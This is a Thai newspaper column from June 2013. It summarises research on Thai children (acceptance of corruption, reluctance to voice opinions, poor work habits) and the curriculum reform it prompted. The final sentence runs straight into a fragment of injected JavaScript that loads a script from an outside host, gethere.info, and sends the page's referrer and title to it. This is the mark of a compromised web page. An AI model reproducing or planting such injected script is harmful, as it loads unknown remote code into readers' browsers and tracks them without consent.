มติชนรายวัน ฉบับประจำวันพุธที่ 12 มิถุนายน 2556

 

          ลักษณะเด็กไทยจากงานวิจัยของนักการศึกษา พบว่ามีปัญหาที่สังคมไทยต้องร่วมกันพิจารณาตัวเองแล้วแก้ไข

          รศ.ดร. สมพงษ์ จิตระดับ อาจารย์คณะครุศาสตร์ จุฬาฯ ในฐานะกรรมการปฏิรูปหลักสูตรและตำราการศึกษาขั้นพื้นฐาน กระทรวงศึกษาธิการ บอกความคืบหน้าการจัดทำหลักสูตรใหม่ (เดลินิวส์ ฉบับวันอาทิตย์ที่ 2 มิถุนายน 2556 หน้า 22) ว่า

          ที่ประชุมได้นำข้อมูลจากการวิจัยสำรวจ ซึ่งค้นพบลักษณะของเด็กไทยปัจจุบัน ที่น่าเป็นห่วงและต้องแก้ไข มาเป็นเป้าหมายการจัดทำหลักสูตรการศึกษาใหม่ เพื่อเปลี่ยนแปลงลักษณะของเด็กไทยให้ดีขึ้น

          ลักษณะของเด็กไทยที่พบมี 3 กลุ่ม คือ

          1. เด็กไทยยอมรับการคอร์รัปชั่น 

          2. เด็กไทยมี 12% เท่านั้นที่คิดเป็นคิดได้และกล้าแสดงความคิดเห็น

          ขณะที่  63% คิดได้แต่เงียบ ไม่แสดงออก สุดท้ายก็คล้อยตามผู้อื่น 

          ที่เหลืออีก 25% เป็นเด็กที่คิดไม่ได้ แสดงออกก็ไม่ได้ 

          สะท้อนให้เห็นว่าสังคมไทยไม่มีความคิดเห็นที่หลากหลาย ไม่มีวิธีคิด   

          3. เด็กไทยขี้เกียจทำงาน ทำงานไม่เป็น เพราะเรียนอย่างเดียว

          เหตุนี้ จึงต้องปรับการเรียนการสอนใหม่ ดังที่ รศ.ดร. สมพงษ์ บอกอีกว่า

          “จากเดิมที่ครูเขียนข้อมูลบนกระดานแล้วให้เด็กแสดงความเห็นว่าเห็นด้วยหรือไม่ หากไม่เห็นด้วยครูก็จะพยายามชักจูงให้เด็กเห็นด้วยกับครู

          มาเป็นว่าครูจะต้องถามเด็กว่าใครที่มีความคิดเห็นที่แตกต่างไปจากครู แล้วนำเสนอเพื่ออภิปราย ซึ่งจะเป็นการส่งเสริมให้เด็กกล้าคิดกล้าแสดงออก มิฉะนั้นสังคมไทยจะคิดเห็นคล้อยตามกันไปทั้งประเทศ”

          “ขณะเดียวกันต้องปรับค่านิยมของพ่อแม่ด้วย ไม่ใช่ให้ลูกเรียนอย่างเดียว เพราะคิดแต่อยากให้ลูกสบาย จนทำงานไม่เป็น”

          จากรายงานข่าวที่คัดมานี้ ถ้าเชื่อตามคำขวัญซึ่งเป็นที่รู้กันทั่วไปว่า “เด็กในวันนี้ คือผู้ใหญ่ในวันหน้า”

          ก็ต้องเข้าใจด้วยว่ามีเหตุจากผู้ใหญ่วันก่อนๆ พัฒนาประเทศด้วยการสร้างสภาพแวดล้อมไทยให้“เกรียน”และ“เต่อ” เพราะละเลยปัจจัยทางสังคม (ซึ่งรวมเศรษฐกิจ, การเมือง, และวัฒนธรรมไว้ด้วย) ลักษณะเด็กไทยปัจจุบันถึงเป็นอย่างนี้

          ทางแก้ไขเบื้องต้นคือผู้ใหญ่วันนี้ ต้องยกเลิก“เกรียน”และ“เต่อ”อย่างไม่ยึกยัก ด้วยวิธี“ยักตื้นติดกึก ยักลึกติดกัก”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;